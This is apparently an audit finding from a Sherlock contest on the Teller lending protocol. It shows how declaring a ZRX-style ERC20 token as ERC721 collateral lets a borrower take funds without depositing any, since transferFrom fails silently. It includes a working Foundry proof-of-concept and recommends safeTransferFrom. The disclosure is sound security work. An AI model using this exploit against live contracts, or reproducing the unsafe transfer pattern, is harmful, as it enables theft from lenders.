Ruhum

medium

# Attacker can borrow funds without putting up collateral

## Summary
The CollateralManager contract doesn't use `safeTransferFrom()` when transferring ERC721 tokens. By setting the collateral type to `ERC721` we can commit ERC20 collaterals as well. Certain tokens don't revert when the transfer fails, e.g. ZRX. Instead, they just return `false`. By using such a token it's possible to borrow funds without putting up any collateral.

## Vulnerability Detail
The CollateralManager doesn't use `safeTransferFrom()` for ERC721  tokens in `_deposit()`. So tokens that return `false` when the transfer fails won't cause the tx to revert:
```sol
else if (collateralInfo._collateralType == CollateralType.ERC721) {
            IERC721Upgradeable(collateralInfo._collateralAddress).transferFrom(
                borrower,
                address(this),
                collateralInfo._tokenId
            );
            IERC721Upgradeable(collateralInfo._collateralAddress).approve(
                escrowAddress,
                collateralInfo._tokenId
            );
            collateralEscrow.depositAsset(
                CollateralType.ERC721,
                collateralInfo._collateralAddress,
                collateralInfo._amount,
                collateralInfo._tokenId
            );
        }
```
Neither does the CollateralEscrow contract:
```sol
        else if (_collateralType == CollateralType.ERC721) {
            require(_amount == 1, "Incorrect deposit amount");
            IERC721Upgradeable(_collateralAddress).transferFrom(
                _msgSender(),
                address(this),
                _tokenId
            );
        }
```

Here's a simple PoC:
```sol
// CollateralManager_Test.sol
    function test_deposit_attack() public {
        uint256 bidId = 0;
        uint256 amount = 1000;
        ERC20 zrx = ERC20(0xE41d2489571d322189246DaFA5ebDe1F4699F498);
        deal(address(zrx), address(borrower), amount);
        
        // we never approve the collateral manager to access our zrx tokens

        Collateral memory collateral = Collateral({
            _collateralType: CollateralType.ERC721,
            _amount: amount,
            _tokenId: 0,
            _collateralAddress: address(zrx)
        });

        tellerV2Mock.setBorrower(address(borrower));

        collateralManager.setGlobalEscrowProxyAddress(
            address(escrowImplementation)
        );

        vm.expectEmit(false, false, false, false);
        emit CollateralDeposited(
            bidId,
            collateral._collateralType,
            collateral._collateralAddress,
            collateral._amount,
            collateral._tokenId
        );
        vm.prank(address(borrower));
        collateralManager._depositSuper(bidId, collateral);

        // executed deposit without pulling ZRX tokens from borrower
        assertEq(zrx.balanceOf(address(borrower)), amount);
    }
```
Output:
```shell
forge test --match test_deposit_attack -vvv --fork-url https://eth.llamarpc.com
> [â ’] Compiling...
> No files changed, compilation skipped

> Running 1 test for tests/CollateralManager_Test.sol:CollateralManager_Test
> [PASS] test_deposit_attack() (gas: 245594)
> Test result: ok. 1 passed; 0 failed; finished in 7.52ms
```
## Impact
Bid is accepted without depositing the collateral into an escrow contract.

## Code Snippet
https://github.com/sherlock-audit/2023-03-teller/blob/main/teller-protocol-v2/packages/contracts/contracts/CollateralManager.sol#L343

https://github.com/sherlock-audit/2023-03-teller/blob/main/teller-protocol-v2/packages/contracts/contracts/escrow/CollateralEscrowV1.sol#L129

## Tool used

Manual Review

## Recommendation
Use `safeTransferFrom()` for ERC721 tokens as well.